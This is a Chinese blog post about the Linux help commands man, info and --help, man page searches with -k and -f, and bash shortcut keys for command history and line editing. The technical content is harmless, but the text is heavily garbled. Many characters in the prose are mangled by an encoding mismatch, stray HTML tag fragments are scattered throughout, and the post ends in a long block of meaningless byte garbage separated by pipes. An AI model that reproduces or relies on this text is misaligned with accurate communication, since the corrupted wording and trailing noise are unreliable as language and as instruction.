man command , info command and command --help 是命令行下面最重要的工兗?/p>

在linux下面Q几乎每一个命令和每一个应用程序都会有一个man(manual)文gQ所以只要简单的键入"man "command"" p看到q个命o的手册页。例如,"man mv" 会打开mv (Move) 的手册页?/p>

利用键盘上的方向键移动手册页面,?strong>"q" 退出?/p>

"man man" 会查?strong>man 命o的手册页Q这里是一个很好的开始!

"man intro" 也非常有?Q它能够查看 "用户命o介绍"Q写的非常好Q是一份很介的linux命o的介l?/p>

q有一个就?strong>info 命o了,它通常?strong>man q深入。输?strong>"info info" 命o可得到info늚介绍?/p>

一些Y件开发h员喜Ƣ用 info 而不?man Q例如Debian和GNU开发h员)。所以,如果你发C个很常见的命令或者程序没?man 面Q那么就试试 info 面?/p>

几乎所有的命o都能接受一?strong>-h (? --help )选项Q能够输出命令的要的描述和参敎ͼ然后自动退回命令提C符。可以输?strong>"man -h" ?strong>"man --help" 查看?/p>

警告Q一些Y件不认ؓ -h 选项代表帮助Q虽然少但是存在q种情况。这时候可以先试试 man 或? info 面Q以及用较长的选项 --help ?/p>

搜烦man文档

如果您不定用哪个命令或E序Q您可以试试搜烦man 文g?/p>

  • man -k foo 会搜索关于foo的man文g。试试看"man -k nautilus" 是怎样的?/li>
  • 注意Q这?strong>apropos 命o是一L?/li>
  • man -f foo 仅仅搜所pȝman文g的标题。试?strong>"man -f gnome" ?/li>
  • q个?whatis 命o是相同的?

    节省输入

    Up Arrow or ctrl+p
    滚动昄你之前输入的命o.Q译者注Q与msdos怼Q?/td>
    Down Arrow or ctrl+n
    回到较近的命?Q与up arrow相反Q反方向滚动Q?/td>
    Enter
    扑ֈ你要的命令时按回车确?br>
    tab
    一个非常有用的功能。如果只有一个选项Q则自动补全命o或文件名Q否则给出所有选项的列表?/td>
    ctrl+r
    搜烦你已l输入的命o.当你已经输入了一条很长很复杂的命令ƈ且要重复它时, 使用q个按键l合Q然后输入命令的一部分会从你的集合历史中搜烦. 扑ֈ它后Q只要轻L下回?/td>
    更改字体

    不能用鼠标。你可以容左/方向键来Ud。当游标在你惌它在的地ҎQ输?inserts text - ie 它不会改写那儿的文字?/p>
    ctrl+a or Home
    Ud游标到行?
    ctrl+e or End
    Ud游标到行?
    ctrl+b
    Ud游标C一个或当前单词的前?
    ctrl+k
    删除从当前游标到行尾的文?
    ctrl+u
    删除当前整行.
    ctrl+w
    删除游标前的单词.



Kevin_Zhang 2010-08-20 02:30 发表评论
]]>
þþƷ| þĻƷ| ۺҹҹþ| ŷþۺ㽶| ޹ƷȾþ| 99þþùƷ޿| ҹƷþþþþëƬ| vavavaþ| һɫþ88Ʒۺ| þþù׮| ھƷ˾þþþ777| þþƷAVһ| þAV뾫Ʒɫҹ | Ըߺþþþþþþ| ŮƷþþ2020| ɫݺݾþۺ| vaþþþͬ| þþwww| Ʒþþþþô| Ʒþþþþ| ձƷþþþӰԺձ| ھƷþþþӰԺ˾| ձ޷츾þþþþ | þþƷһԡ| ھƷþ޻| þþƷA㽶| ۺϾþþƷɫ| ƷþavĻ| 99þþƷһëƬ| ճˮþ޾Ʒtv| ޾Ʒרþþ| þþƷŷ| ƷþþþaӰԺ| þþþþùƷ| 97þþþ| ޾ƷþþþþҲ| Ůþþ| 99þþƷѿһ| һƷþ| 99þֻƷ| Ʒþþþþø|